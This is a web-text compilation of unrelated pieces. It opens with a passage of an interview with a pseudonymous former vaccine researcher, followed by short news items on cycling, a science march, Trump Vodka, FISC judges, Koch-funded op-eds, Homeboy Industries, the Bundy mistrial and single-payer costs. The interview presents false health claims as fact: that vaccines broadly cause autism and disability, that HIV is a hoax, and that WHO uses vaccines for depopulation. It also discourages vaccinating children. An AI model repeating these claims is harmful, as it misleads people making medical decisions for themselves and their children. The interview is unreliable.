A: Because the vaccine obviously acts in the body for a long period of time after it is given. A reaction can be gradual. Deterioration can be gradual. Neurological problems can develop over time. They do in various conditions, even according to a conventional analysis. So why couldn’t that be the case with vaccines? If chemical poisoning can occur gradually, why couldn’t that be the case with a vaccine which contains mercury?
Q: And that is what you found?
A: Yes. You are dealing with correlations, most of the time. Correlations are not perfect. But if you get 500 parents whose children have suffered neurological damage during a one-year period after having a vaccine, this should be sufficient to spark off an intense investigation.
Q: Has it been enough?
A: No. Never. This tells you something right away.
Q: Which is?
A: The people doing the investigation are not really interested in looking at the facts. They assume that the vaccines are safe. So, when they do investigate, they invariably come up with exonerations of the vaccines. They say, “This vaccine is safe.” But what do they base those judgments on? They base them on definitions and ideas which automatically rule out a condemnation of the vaccine.
Q: There are numerous cases where a vaccine campaign has failed. Where people have come down with the disease against which they were vaccinated.
A: Yes, there are many such instances. And there the evidence is simply ignored. It’s discounted. The experts say, if they say anything at all, that this is just an isolated situation, but overall the vaccine has been shown to be safe. But if you add up all the vaccine campaigns where damage and disease have occurred, you realize that these are NOT isolated situations.
Q: Did you ever discuss what we are talking about here with colleagues, when you were still working in the vaccine establishment?
A: Yes I did.
Q: What happened?
A: Several times I was told to keep quiet. It was made clear that I should go back to work and forget my misgivings. On a few occasions, I encountered fear. Colleagues tried to avoid me. They felt they could be labeled with “guilt by association.” All in all, though, I behaved myself. I made sure I didn’t create problems for myself.
Q: If vaccines actually do harm, why are they given?
A: First of all, there is no “if.” They do harm. It becomes a more difficult question to decide whether they do harm in those people who seem to show no harm. Then you are dealing with the kind of research which should be done, but isn’t. Researchers should be probing to discover a kind of map, or flow chart, which shows exactly what vaccines do in the body from the moment they enter. This research has not been done. As to why they are given, we could sit here for two days and discuss all the reasons. As you’ve said many times, at different layers of the system people have their motives. Money, fear of losing a job, the desire to win brownie points, prestige, awards, promotion, misguided idealism, unthinking habit, and so on. But, at the highest levels of the medical cartel, vaccines are a top priority because they cause a weakening of the immune system. I know that may be hard to accept, but it’s true. The medical cartel, at the highest level, is not out to help people, it is out to harm them, to weaken them. To kill them. At one point in my career, I had a long conversation with a man who occupied a high government position in an African nation. He told me that he was well aware of this. He told me that WHO is a front for these depopulation interests. There is an underground, shall we say, in Africa, made up of various officials who are earnestly trying to change the lot of the poor. This network of people knows what is going on. They know that vaccines have been used, and are being used, to destroy their countries, to make them ripe for takeover by globalist powers. I have had the opportunity to speak with several of these people from this network.
Q: Is Thabo Mbeki, the president of South Africa, aware of the situation?
A: I would say he is partially aware. Perhaps he is not utterly convinced, but he is on the way to realizing the whole truth. He already knows that HIV is a hoax. He knows that the AIDS drugs are poisons which destroy the immune system. He also knows that if he speaks out, in any way, about the vaccine issue, he will be branded a lunatic. He has enough trouble after his stand on the AIDS issue.
Q: This network you speak of.
A: It has accumulated a huge amount of information about vaccines. The question is, how is a successful strategy going to be mounted? For these people, that is a difficult issue.
Q: And in the industrialized nations?
A: The medical cartel has a stranglehold, but it is diminishing. Mainly because people have the freedom to question medicines. However, if the choice issue [the right to take or reject any medicine] does not gather steam, these coming mandates about vaccines against biowarefare germs are going to win out. This is an important time.
Q: The furor over the hepatits B vaccine seems one good avenue.
A: I think so, yes. To say that babies must have the vaccine-and then in the next breath, admitting that a person gets hep B from sexual contacts and shared needles — is a ridiculous juxtaposition. Medical authorities try to cover themselves by saying that 20,000 or so children in the US get hep B every year from “unknown causes,” and that’s why every baby must have the vaccine. I dispute that 20,00 figure and the so-called studies that back it up.
Q: Andrew Wakefield, the British MD who uncovered the link between the MMR vaccine and autism, has just been fired from his job in a London hospital.
A: Yes. Wakefield performed a great service. His correlations between the vaccine and autism are stunning. Perhaps you know that Tony Blair’s wife is involved with alternative health. There is the possibility that their child has not been given the MMR. Blair recently side-stepped the question in press interviews, and made it seem that he was simply objecting to invasive questioning of his “personal and family life.” In any event, I believe his wife has been muzzled. I think, if given the chance, she would at least say she is sympathetic to all the families who have come forward and stated that their children were severely damaged by the MMR.
Q: British reporters should try to get through to her.
A: They have been trying. But I think she has made a deal with her husband to keep quiet, no matter what. She could do a great deal of good if she breaks her promise. I have been told she is under pressure, and not just from her husband. At the level she occupies, MI6 and British health authorities get into the act. It is thought of as a matter of national security.
Q: Well, it is national security, once you understand the medical cartel.
A: It is global security. The cartel operates in every nation. It zealously guards the sanctity of vaccines. Questioning these vaccines is on the same level as a Vatican bishop questioning the sanctity of the sacrament of the Eucharist in the Catholic Church.
Q: I know that a Hollywood celebrity stating publicly that he will not take a vaccine is committing career suicide.
A: Hollywood is linked very powerfully to the medical cartel. There are several reasons, but one of them is simply that an actor who is famous can draw a huge amount of publicity if he says ANYTHING. In 1992, I was present at your demonstration against the FDA in downtown Los Angeles. One or two actors spoke against the FDA. Since that time, you would be hard pressed to find an actor who has spoken out in any way against the medical cartel.
Q: Within the National Institutes of Health, what is the mood, what is the basic frame of mind?
A: People are competing for research monies. The last thing they think about is challenging the status quo. They are already in an intramural war for that money. They don’t need more trouble. This is a very insulated system. It depends on the idea that, by and large, modern medicine is very successful on every frontier. To admit systemic problems in any area is to cast doubt on the whole enterprise. You might therefore think that NIH is the last place one should think about holding demonstrations. But just the reverse is true. If five thousand people showed up there demanding an accounting of the actual benefits of that research system, demanding to know what real health benefits have been conferred on the public from the billions of wasted dollars funneled to that facility, something might start. A spark might go off. You might get, with further demonstrations, all sorts of fall-out. Researchers — a few — might start leaking information.
Q: A good idea.
A: People in suits standing as close to the buildings as the police will allow. People in business suits, in jogging suits, mothers and babies. Well-off people. Poor people. All sorts of people.
Q: What about the combined destructive power of a number of vaccines given to babies these days?
A: It is a travesty and a crime. There are no real studies of any depth which have been done on that. Again, the assumption is made that vaccines are safe, and therefore any number of vaccines given together are safe as well. But the truth is, vaccines are not safe. Therefore the potential damage increases when you give many of them in a short time period.
Q: Then we have the fall flu season.
A: Yes. As if only in the autumn do these germs float in to the US from Asia. The public swallows that premise. If it happens in April, it is a bad cold. If it happens in October, it is the flu.
Q: Do you regret having worked all those years in the vaccine field?
A: Yes. But after this interview, I’ll regret it a little less. And I work in other ways. I give out information to certain people, when I think they will use it well.
Q: What is one thing you want the public to understand?
A: That the burden of proof in establishing the safety and efficacy of vaccines is on the people who manufacture and license them for public use. Just that. The burden of proof is not on you or me. And for proof you need well-designed long-term studies. You need extensive follow-up. You need to interview mothers and pay attention to what mothers say about their babies and what happens to them after vaccination. You need all these things. The things that are not there.
Q: The things that are not there.
A: Yes.
Q: To avoid any confusion, I’d like you to review, once more, the disease problems that vaccines can cause. Which diseases, how that happens.
A: We are basically talking about two potential harmful outcomes. One, the person gets the disease from the vaccine. He gets the disease which the vaccine is supposed to protect him from. Because, some version of the disease is in the vaccine to begin with. Or two, he doesn’t get THAT disease, but at some later time, maybe right away, maybe not, he develops another condition which is caused by the vaccine. That condition could be autism, what’s called autism, or it could be some other disease like meningitis. He could become mentally disabled.
Q: Is there any way to compare the relative frequency of these different outcomes?
A: No. Because the follow-up is poor. We can only guess. If you ask, out of a population of a hundred thousand children who get a measles vaccine, how many get the measles, and how many develop other problems from the vaccine, there is a no reliable answer. That is what I’m saying. Vaccines are superstitions. And with superstitions, you don’t get facts you can use. You only get stories, most of which are designed to enforce the superstition. But, from many vaccine campaigns, we can piece together a narrative that does reveal some very disturbing things. People have been harmed. The harm is real, and it can be deep and it can mean death. The harm is NOT limited to a few cases, as we have been led to believe. In the US, there are groups of mothers who are testifying about autism and childhood vaccines. They are coming forward and standing up at meetings. They are essentially trying to fill in the gap that has been created by the researchers and doctors who turn their backs on the whole thing.
Q: Let me ask you this. If you took a child in, say, Boston and you raised that child with good nutritious food and he exercised every day and he was loved by his parents, and he didn’t get the measles vaccine, what would be his health status compared with the average child in Boston who eats poorly and watches five hours of TV a day and gets the measles vaccine?
A: Of course there are many factors involved, but I would bet on the better health status for the first child. If he gets measles, if he gets it when he is nine, the chances are it will be much lighter than the measles the second child might get. I would bet on the first child every time.
Q: How long did you work with vaccines?
A: A long time. Longer than ten years.
Q: Looking back now, can you recall any good reason to say that vaccines are successful?
A: No, I can’t. If I had a child now, the last thing I would allow is vaccination. I would move out of the state if I had to. I would change the family name. I would disappear. With my family. I’m not saying it would come to that. There are ways to sidestep the system with grace, if you know how to act. There are exemptions you can declare, in every state, based on religious and/or philosophic views. But if push came to shove, I would go on the move.
Q: And yet there are children everywhere who do get vaccines and appear to be healthy.
A: The operative word is “appear.” What about all the children who can’t focus on their studies? What about the children who have tantrums from time to time? What about the children who are not quite in possession of all their mental faculties? I know there are many causes for these things, but vaccines are one cause. I would not take the chance. I see no reason to take the chance. And frankly, I see no reason to allow the government to have the last word. Government medicine is, from my experience, often a contradiction in terms. You get one or the other, but not both.
Q: So we come to the level playing field.
A: Yes. Allow those who want the vaccines to take them. Allow the dissidents to decline to take them. But, as I said earlier, there is no level playing field if the field is strewn with lies. And when babies are involved, you have parents making all the decisions. Those parents need a heavy dose of truth. What about the child I spoke of who died from the DPT shot? What information did his parents act on? I can tell you it was heavily weighted. It was not real information.
Q: Medical PR people, in concert with the press, scare the hell out of parents with dire scenarios about what will happen if their kids don’t get shots.
A: They make it seem a crime to refuse the vaccine. They equate it with bad parenting. You fight that with better information. It is always a challenge to buck the authorities. And only you can decide whether to do it. It is every person’s responsibility to make up his mind. The medical cartel likes that bet. It is betting that the fear will win.
Dr. Mark Randall is the pseudonym of a vaccine researcher who worked for many years in the labs of major pharmaceutical houses and the US government’s National Institutes of Health.
Mark retired during the last decade. He says he was “disgusted with what he discovered about vaccines.”
As you know, since the beginning of nomorefakenews, I have been launching an attack against non-scientific and dangerous assertions about the safety and efficacy of vaccines.
Mark has been one of my sources.
He is a little reluctant to speak out, even under the cover of anonymity, but with the current push to make vaccines mandatory — with penalties like quarantine lurking in the wings — he has decided to break his silence.
He lives comfortably in retirement, but like many of my long-time sources, he has developed a conscience about his former work. Mark is well aware of the scope of the medical cartel and its goals of depopulation, mind control, and general debilitation of populations.
Read the full article here: http://www.alternative-doctor.com/vaccination/rappaport.htm
See also: CDC Autism and Vaccine Researcher Indicted for Fraud
Vaccine Epidemic
How Corporate Greed, Biased Science, and Coercive Government Threaten Our Human Rights, Our Health, and Our Children
by Louise Kuo Habakus and Mary Holland J.D.
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More InfoMontana congressman and body-slamming sensation Greg Gianforte has donated a total of twenty million dollars to Stevens Institute of Technology for the purpose of a new academic center. As members of the Stevens community, we’re very excited about this building, as it will facilitate the |
it off, and we didn't necessarily have that the last time I was here. It's going to be a real challenge to get him up for the win, but I think we're up for it. We're one of the stronger teams in the classics on paper – that's the way I see it at least."
Breschel has recorded 21 wins during his 14-year career. He turned professional with Bjarne Riis' CSC team in 2005 and has ridden 30 Monuments. His last victory was on home roads at the 2015 Tour of Denmark.
He did not race a Grand Tour in 2017 and has not raced since the Tour of Denmark in mid-September.
"I would love to start winning again or maybe just one win would be enough," said Breschel. "But if we can win a classic, a big one, or if I can be part of a winning team in a Grand Tour, that would be great, too. I realise those are pretty high expectations, but I'm really motivated. This is a strong squad with some really interesting names on it, and I definitely think we can do big things next year."
Slipstream Sports has lost a number of talented riders, including Dylan van Baarle, Davide Formolo, Alberto Bettiol and Davide Villela but kept hold of team leader's Rigoberto Uran, Sep Vanmarcke and Michael Woods. New signings already announced include sprinters Sacha Modolo and Dan McLay, Australia's Mitch Docker and talented young American Owen Logan. Pierre Rolland, Joe Dombrowski, Taylor Phinney, Hugh Carthy and Paris-Roubaix third place finisher Sebastian Langeveld all had contracts for 2018.
Breschel will be one of the road captains for the Classics and also Grand Tours.
"During Matti's first year with us, he wasn't really able to perform to his usual standards," said Vaughters. "He was sick for most of the spring and he crashed out of the Tour. He's a huge talent, and we're confident his experience and horsepower will be vital to our young team."By
On Earth Day, Saturday April 22nd, March for Science Chicago will be held, and with it a strong message sent to our leaders in Washington D.C. Over 45,000+ are expected to attend the event, which runs from 10am to 3pm, to rally and march in support of science.
The flagship march will take place in our nation’s capital, and approximately 500+ other rallies will occur all around the world. The event is being organized to show support for the scientific community, recognize how science serves society at-large and promote an approach to governing that leverages peer-reviewed, evidence-based policy making.
The results of the Presidential election in November spotlight the backlash against expertise and even just basic facts currently present in our country. There is a serious strain of anti-intellectualism prevalent within the establishment and an overt war on basic truth pervasive in American society right now.
March for Science Chicago is a chance to show support to the person who advocates doing their homework and values being informed. The new administration brought in a Secretary of State, Rex Tillerson, who was CEO of ExxonMobil, one of the environment’s biggest adversaries, for the past 11 years.
If that wasn’t environmental unfriendly enough, the choice to head the Environmental Protection Agency, Scott Pruitt. proudly described himself as “a leading advocate against the EPA’s activist agenda.”
When you have climate change deniers like this in power, the assault on basic science only grows stronger.
April is the month in which the “Go Green” movement is traditionally spotlighted, so while March for Science Chicago is a very big tent, climate change will no doubt be one of the central themes on Saturday.
It’s going to become even more of a hot button issue this summer, as the sequel to Al Gore’s “An Inconvenient Truth” will be released on July 28th.
Last week’s Tax March Chicago drew 2-4,000 (here is a collection of some of the more interesting protest signs at this link), while the Chicago edition of the Women’s March in January drew about 250,000 (photos of the signs at this URL).
The size of March for Science Chicago projects to be somewhere in the middle.
March for Science Chicago Details
Hash tags: #MFSChi #chisciencecity #takeastandforscience
Details: Local supporters and members of the scientific community will gather for the inaugural March for Science Chicago.The event will begin with a rally of four speakers from Chicago and end with an expo at which local organizations will showcase their work.
Schedule/List of Speakers/Map: available at this link
Location: The rally will begin at Jackson and Columbus Drive; the expo will take place at the South End of The Field Museum (the Taxi Loop near East McFetridge Drive).
Website: sciencemarchchicago.org : The rally will begin at Jackson and Columbus Drive; the expo will take place at the South End of The Field Museum (the Taxi Loop near East McFetridge Drive).
Twitter handle:
Paul M. Banks runs The Sports Bank.net and TheBank.News, partnered with FOX Sports Engage Network. and News Now. Banks, a former writer for the Washington Times and NBC Chicago.com, contributes to Chicago Tribune.com, Bold, WGN CLTV and KOZN.
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SidelinesTrump Vodka Promotional image Type Vodka Manufacturer Drinks Americas Country of origin Netherlands Introduced 2005 Discontinued 2011 (in the United States) Related products List of vodkas
Trump Vodka was an American brand of vodka produced by Drinks Americas under license from The Trump Organization. The brand was launched in the United States in 2005, but ceased production under the Trump name in 2011 when it failed to meet the required threshold for distribution. However, it is still sold in Israel, especially around the Jewish holiday of Passover.
History [ edit ]
In 2005, Drinks Americas signed with Donald Trump to promote a new brand of vodka which became known as Trump Vodka.[1] The brand was launched with the slogan "Success Distilled", with Trump predicting it would outsell Grey Goose vodka.[2] He also said that when mixed with tonic, which he referred to as a "Trump & Tonic" (T&T), it would become the most drunk cocktail in the United States.[2] In 2007, Drinks Americas signed a deal to export 50,000 cases of Trump Vodka annually to Russia.[3]
The Trump Vodka brand was discontinued in the United States in 2011 due to sales failing to meet the company threshold requirements.[4][5] Several reasons were attributed for this. Drinks Americas also had problems producing it because the glass used in the bottles and the gold leaf labels were expensive and the company could not afford to produce them in large numbers.[6] In 2015, during his campaign for President, Trump did not include Trump Vodka amongst assets submitted to the Federal Election Committee.[7]
Lawsuits [ edit ]
Drinks Americas was subject to several lawsuits surrounding Trump Vodka. Bruni Glass sued over unpaid bills and, as a result, melted in a furnace 500,000 Trump Vodka mini-bottles ready for shipment.[6] Donald Trump also sued Drinks Americas for unpaid royalties, but the case was dismissed for lack of subject matter jurisdiction.[8]
Israel [ edit ]
Trump Vodka started being sold unofficially in Israel by H. Pixel International based on a signed deal with Drinks Americas, but Trump brought a lawsuit against the company for copyright infringement, as they did not have his agreement to use his image in advertising or the brand.[9][10] However, Trump later dropped the lawsuit and signed a deal with H. Pixel International to allow them to sell Trump Vodka in Israel.[11] Despite the failures in the United States, Trump Vodka found a level of popularity in Israel. This was because it was a popular choice around Passover for Orthodox Jews, as the vodka was made from potatoes and not grain, thus satisfying kosher for Passover dietary laws.[4] However, some Trump Vodka produced in 2013 was found to contain leavened ingredients, making it unsuitable for consumption during Passover.[12]
See also [ edit ]Murtha finds military progress in trip to Iraq
Warns that Iraqis must do more for their own security
WASHINGTON - U.S. Rep. John Murtha today said he saw signs of military progress during a brief trip to Iraq last week, but he warned that Iraqis need to play a larger role in providing their own security and the Bush administration still must develop an exit strategy.
"I think the'surge' is working," the Democrat said in a videoconference from his Johnstown office, describing the president's decision to commit more than 20,000 additional combat troops this year. But the Iraqis "have got to take care of themselves."
Violence has dropped significantly in recent months, but Mr. Murtha said he was most encouraged by changes in the once-volatile Anbar province, where locals have started working closely with U.S. forces to isolate insurgents linked to Al Qaeda.
He said Iraqis need to duplicate that success at the national level, but the central government in Baghdad is "dysfunctional."
Mr. Murtha's four day-trip took him to a Thanksgiving dinner with troops in Kuwait last Thursday, and he then made stops in Iraq, Turkey and Belgium.
More details in tomorrow's Pittsburgh Post-Gazette.
First published on November 29, 2007 at 3:28 pmTwo years ago, the acronyms FISC or FISA would require a majority to frantically hit the Google search. But thanks to Edward Snowden and his leaked information regarding the NSA, the general public is now aware of the domestic-based Foreign Intelligence Surveillance Court's role: approving all government requests to engage in its various spying initiatives.
This weekend, Vice discovered an unusual, additional role for two FISC judges—stakeholder. According to 2013 financial disclosures obtained by the website, FISC Judge Susan Wright and FISC Judge Dennis Saylor each owned Verizon stock. Wright purchased (Scribd) $15,000 or less on October 22 and Saylor collected (Scribd) less than $1,000 from his stock in 2013. (As Vice notes, "the precise amount and value of each investment is unclear—like many government ethics disclosures, including those for federal lawmakers, investments amounts are revealed within certain ranges of value.)
Further Reading Top secret doc shows NSA demands Verizon hand over millions of phone records daily
There is an ethics law for federal judges that, among other things, requires judges to avoid cases where they have a financial stake or where they may act in bias. This scenario isn't quite that clear-cut. While FISC absolutely ruled on situations involving Verizon, Vice points out FISC proceedings are ex parte. Telecoms may absolutely have a stake in these FISC rulings, but they aren't an active party for the NSA requests FISC rules on.
The website pointed out that FISC judges in the past have also owned telecom stock, though Verizon is the only named telecom in the NSA leaks to comply so far. Vice's requests for comment to the direct judges went unanswered as expected, but legal ethicists speaking to the site recommended the best solution is simply steering clear of such gray situations in the first place.An historic vote in the U.S. Senate earlier this year to amend the constitution to reverse Citizens United and stem the flood of money into our elections -- expected to top $1 billion this election cycle -- has the Koch brothers spooked.
If passed by Congress and approved by two-thirds of the states, the amendment could put a brake on outside spending from groups like the Koch brothers' political network, which spent over $400 million on the 2012 elections and is reportedly planning to drop another $300 million on the 2014 midterms.
Amending the constitution to get money out of politics has overwhelming public support, and the Kochs and other big money interests are trying hard to twist the narrative.
The Koch-backed American Commitment has rolled out an ad in Kansas attacking U.S. Senate candidate Greg Orman for saying he supports reversing Citizens United, and "thanking" vulnerable Sen. Pat Roberts for voting against the amendment, which the ad tries to frame as an attack on freedom of speech.
That's not all. Opinion pieces making the same claim that an amendment would "silence free speech" have appeared in newspapers and blogs across the country -- and many of those authors and their organizations are tied to the Kochs and far-right funders like the Bradley Foundation, a Center for Media and Democracy and Common Cause analysis has found.
The Koch network of funders and the Bradley Foundation have spent tens of millions bankrolling organizations that fight to preserve the role of big money in politics.
Many of those same groups are behind a blitz of op-eds in papers across the country that, like the American Commitment ad, have tried to paint the Citizens United amendment as an unprecedented attack on the First Amendment and a threat to the ability of average citizens to influence elections.
Many of the writers present themselves as concerned citizens worried about the fate of the country, neglecting to mention that they and their organizations have financial ties to the right-wing groups that have been trying to roll back campaign finance reform for years.
Washington Post columnist George Will, whose pieces are syndicated across the country, called the Citizens United amendment "extremism" and claimed that legislators were supporting it out of self-interest. But he never got around to noting his own interests in the issue: Will has close ties to the Koch network and was even part of an "exclusive group of major donors and VIPs" who "dined privately" at an exclusive event for the Koch's astroturf organization Americans for Prosperity where he rubbed elbows with up-and-coming political candidates like Rand Paul and Mike Pence, according to Politico. AFP has previously invited him as a speaker and has awarded him its George Washington Award. He is also a member of the right-wing Bradley Foundation board of directors since 2008 and received a $250,000 "Bradley Prize" in 2005.
Rob Roper of the Ethan Allen Institute wasn't afraid to use overheated rhetoric to attack the amendment, claiming that allowing legislators to set limits on political spending amounted to "holding a torch to the Bill of Rights" and creating "the foundation for a police state." Perhaps he was afraid his claims would be even less convincing if he revealed that his "think tank" is backed by the State Policy Network, a major driver of the corporate agenda in state houses, which has funding ties to the Koch and Bradley foundations.
Ted Olson and Trevor Burns both ascribe Senate Democrats' support of the amendment to base political motivations, claiming they want to "protect their own incumbency" and "censor political speech." Olson, who has served as outside counsel for Koch Industries, argued the Citizens United case. He and Burns both have ties to the Cato Institute, which was founded by the Kochs and received nearly $14 million in Koch funding between 1986 and 2011, as well as $1.6 million from the Bradley Foundation between 1998 and 2012.
Additional writers and their funding ties:
Rob Roper, president of the Ethan Allen Institute (Barre Montpelier Times Argus, September 24). The Ethan Allen Institute is a member of the State Policy network, an $84 million network which receives funding from Donors Trust (which in turn is funded by the Koch and Bradley Foundations).
David Harsani, Senior Editor at "The Federalist" (Columbus Dispatch, September 15). The Federalist Society has received around $2.7 million from the Kochs' family foundations from 1997-2011 and $4.45 million from the Bradley Foundation from 1998-2012. The Bradley Foundation also awarded the founders and leaders of the Federalist Society its $250,000 "Bradley Prize" in 2009.
Ted Olson, former Solicitor General of the United States and partner at Gibson, Dunn, and Crutcher (Wall Street Journal, September 7). Olson argued Citizens United, and has served as outside counsel for Koch Industries and as a board member at the Koch's Cato Institute.
Scott Blackburn, Research Fellow at Center for Competitive Politics (Washington Times, September 11) and Luke Wachob, McWethy Fellow at the Center for Competitive Politics (National Review, September 8). The Bradley Foundation has given $310,000 to the Center for Competitive Politics between 2008 and 2012. Additionally, in 2010 Bradley awarded a $250,000 "Bradley Prize" to the Center's Chair, Bradley Smith. The Center received $3.7 million from Donors Trust and Donors Capital Fund from 2007-2012 and just under $35,000 from The Charles G Koch Foundation in 2012.
Peter Roff, US News Columnist, Senior Fellow at Frontiers of Freedom (US News and World Report, September 9). Frontiers of Freedom has received $175,000 from the Charles G. Koch Foundation between 2004 and 2007, and the Bradley Foundation has donated $20,000 to the group.
Trevor Burns, Research Fellow in the Cato Institute's Center for Constitutional Studies (Forbes, September 11). The Cato Institute was founded by the Kochs and received $13,878,990 from them between 1986 and 2011. Cato also received over $1.6 million in funding from the Bradley Foundation between 1998 and 2012.
MD Kittle, Wisconsin Reporter/Franklin Center for Government Integrity (Watchdog.org, September 8). Over 90% of the Franklin Center's funding has come from the Koch-linked Donors Trust/Donors Capital Fund, amounting to over $18 million since 2009. The Bradley Foundation earmarked $380,5000 in funding for the Franklin Center's Wisconsin Reporter, and gave another $100,000 to support the Thomas L. Rhodes fellowship. Other funders include the Charles G. Koch Charitable Foundation ($8,702 in 2012), State Policy Network ($100,000 in 2012), the Coors' Castle Rock Foundation ($25,000 in 2011), and the Searle Freedom Trust (362,500).
Ken Shepherd, Managing Editor for Newsbusters (Newsbusters.org, September 12). Newsbusters is a project of the Media Research Center, which received $2.6 million from the Bradley Foundation between 1990 and 2012, as well as $15,005 from the Koch family foundations between 2004 and 2008. The Koch-linked DonorsTrust and Donors Capital Fund gave an additional $804,270 between 2003 and 2012.
To learn more about the Koch network of funders, visit Kochexposed.org and see the Bradley Foundation profile in Sourcewatch.Priest's Answer To Gang Life Faces Hard Times
toggle caption Kevork Djansezian/AP
In Los Angeles, generations of ex-gang members have found jobs and new lives, thanks to Homeboy Industries.
It's the largest gang rehabilitation program in the country, founded and operated by a Jesuit priest, the Rev. Gregory Boyle.
But the organization is in a financial crisis that could spell its end.
For more than 21 years, Homeboy Industries has helped thousands of gang members remove their tattoos, get counseling, find jobs and move away from violence.
In fact, the nonprofit's motto has been: "Nothing stops a bullet like a job."
But nothing stops 300 jobs like a $5 million deficit. Recently, Boyle tearfully told his staff of ex-gang members he'd have to let them go.
"We hope that someone will rescue us," Boyle said. "But maybe it won't happen. Is there another place in the county of L.A. where people with records and with a gang past can go and jump-start their life? No, there isn't."
Boyle says the program's successful Homeboy bakery, silk-screening and the Homegirl Cafe remain open for business. But with very little government funding and no major donations, there's simply no money for services. After Boyle announced the layoffs, many of his workers vowed to stay on as volunteers.
The Rev. Gregory Boyle On 'Fresh Air' Priest Fights Gangs With 'Boundless Compassion'
"I couldn't get from my car to here without people hugging me and [saying] we're staying, we're not going anywhere, you don't have to pay us," Boyle said. "But they can't do this forever.... We're probably in denial a little bit, but we're hoping... the fat lady hasn't sung yet."
Civil rights attorney and gang prevention expert Connie Rice said the layoffs are a tragedy for what she calls the best gang recovery program in the country. "Greg Boyle is doing what our $8 billion corrections system fails to do, which is rehabilitate people so they don't go back to crimes," Rice said.
Homeboy Industries has been criticized for helping criminals. But it's also been praised by law enforcers and city leaders. To the homeboys and homegirls he helps, Boyle is affectionately known as Father G, G-Dogg or simply "G."
Enlarge this image toggle caption Damian Dovarganes/AP Damian Dovarganes/AP
"The gift that Father G has given us is he sees the best in all of us," said Vance Webster, a former member of the Crips gang.
Webster was serving a life sentence for accessory to murder when he met Boyle. After helping Webster get paroled, Boyle hired him as a security guard and gang prevention speaker.
"He loves you. He tells you that he loves you. He tells you he's proud of you. This dude is a remarkable human being," Webster said.
Compassion seems to be Boyle's key. Agustin Lizama is an anger management and domestic violence counselor for Homebody Industries. He first met Boyle while in juvenile hall.
"I remember the first time he ever told me he loved me," Lizama said. "To me, it was, like, uncomfortable because I'm here looking at him like, 'Man, how's this white man gonna tell me he loves me when not even my own mom tells me that.' But he just started showing me how to love, how to be loved."
Jocelyn Esparza, 22, has been going to Homeboy Industries to remove the obscene tattoos she scrawled under her eyes.
"There's generations and more generations that need help, you know? If Homeboys was to close, man, there'd be no more hope," she said.
Hoping for a miracle, the homeboys and homegirls are now appealing to everyone with money they can think of. They even have a Facebook campaign to get Father G on Oprah.
"We're gonna stick by Father G's side," Esparza said. "He helped us when we needed him, and now he needs us and we'll be here till the wheels fall off."Judge Declares Mistrial In Conspiracy Case Against Bundys
Enlarge this image toggle caption John Locher/AP John Locher/AP
A federal judge declared a mistrial Wednesday in the case against rancher Cliven Bundy, his two sons and another self-styled militiaman. The men had been charged with conspiracy and assault after their 2014 dispute over cattle-grazing rights in Nevada developed into an armed standoff with federal agents.
U.S. District Judge Gloria Navarro found that prosecutors had failed to turn over documents that could be used to support the defense's case. As NPR's Kirk Siegler reports, Navarro also noted "that the government had erroneously claimed several things, including that there weren't snipers surveying the Bundy ranch when there were."
"The court does regrettably believe a mistrial in this case is the most suitable and only remedy," she said from the bench Wednesday.
Navarro subsequently dismissed the jury from the Las Vegas courtroom and called the trial at an end. Prosecutors are expected to seek a retrial.
toggle caption AP
The ruling comes more than three years since Cliven Bundy, his sons Ryan and Ammon, and a fourth man, Ryan Payne, stood down federal agents in a weekslong confrontation in the Nevada desert.
The federal government had ordered the elder Bundy to remove his cattle from public lands, where he had been grazing them for decades without permits and paying fees — and racking up an estimated million dollars in backlog. Yet when agents came to round up that cattle in April 2014, they found a militia toting weapons and flags waiting for them.
"Interstate 15 was blocked. Guns were drawn and things got extremely tense," Kirk explained earlier this year. "Federal agents in military-style combat fatigues eventually stood down.... Cliven Bundy wasn't arrested until almost two years later."
Yet attempts to prosecute the Bundys have proven as halting as the attempts to arrest them.
Ammon and Ryan Bundy, along with several other codefendants, were acquitted last year on similar — but separate — charges for their role in the 2016 armed occupation of Oregon's Malheur National Wildlife Refuge. While two of their fellow occupiers were later convicted on federal conspiracy charges, the brothers Bundy had successfully argued that they were simply exercising their First and Second Amendment rights during that 41-day standoff.
They remained on the hook for charges related to the 2014 Nevada standoff — though prosecutors there experienced several starts and stops of their own even before Wednesday's ruling, as The Associated Press notes:
"Six men [besides the Bundys] who acknowledged carrying assault-style weapons faced a trial and a retrial. Two were acquitted, two were convicted of some charges and two are free after pleading guilty to misdemeanors to avoid a third trial. None was found guilty of a conspiracy charge."
Speaking with reporters after the ruling Wednesday, Ammon Bundy celebrated the mistrial as a victory over the federal government.
"I think there's enough evidence there to appear that they wanted a confrontation," he said outside the courthouse, surrounded by his supporters. He argued that he believes the agents were seeking the confrontation "so that they could show the world — or have excuse to say, 'Look, Cliven Bundy is violent, Cliven Bundy's sons are violent.' "
"We are not violent people," he added.
"This should be a pretty straightforward case," Kieran Suckling, executive director of the Center for Biological Diversity, told Kirk after a protest he had staged against the Bundys.
The prosecutors "are undermining faith in the court system," Suckling said, "and emboldening those who want to spin out conspiracy theories about federal management of our public lands."by Jodi L. Liu
Discussion of single-payer health care systems increased somewhat last week with the introduction by Sen. Bernie Sanders (I-Vt.) of his Medicare-for-all legislation. Polls have shown increasing public support for single payer. Yet there is no agreement on how to set up and pay for a single-payer system in the U.S. or how much that system would cost. Advocates assert that a single-payer system would cost less than the status quo, but the savings are not automatic, and how much it would save is far from clear.
The spending required for a single-payer system depends on the price of care and the services used. When health care is free, people tend to use more health care services, some of which is beneficial and some is not. Under Sanders's Medicare-for-all plan, the use of health care services would almost certainly increase.
First, everyone would be covered, compared with the 28 million uninsured under current law. Second, Sanders's plan would cover nearly 100 percent of health care costs, meaning that people would not be charged deductibles or copayments except for some prescription drugs. While the Sanders plan involves nearly no cost sharing, nothing about a single payer precludes having some level of cost sharing or other cost control strategies.
Single-payer advocates argue that prices will decrease by more than enough to offset the increased use of services. Several studies, primarily by authors affiliated with the Physicians for a National Health Program, have compared administrative costs between the U.S. and other countries and between public and private health insurance within the U.S.
Although administrative costs could be reduced by a considerable amount in a national single-payer program, reaching levels achieved in other countries or even in some existing U.S. public programs — serving segments of the population and often involving private contractors — may be aspirational and is not guaranteed.
How much a single-payer system can cut administrative costs depends on how the plan is designed and implemented. Insurer administrative costs are typically lower for public health insurance programs compared to private insurance.
Who would administer a single-payer plan that covers every U.S. resident?
But who would administer a single-payer plan that covers every U.S. resident? Even Medicare now involves private insurers that administer Part C (Medicare Advantage), Part D (prescription drug coverage), and supplemental plans (e.g., Medigap and employer-sponsored plans). It's difficult to imagine a scenario in which private companies are not involved at least as third-party contractors.
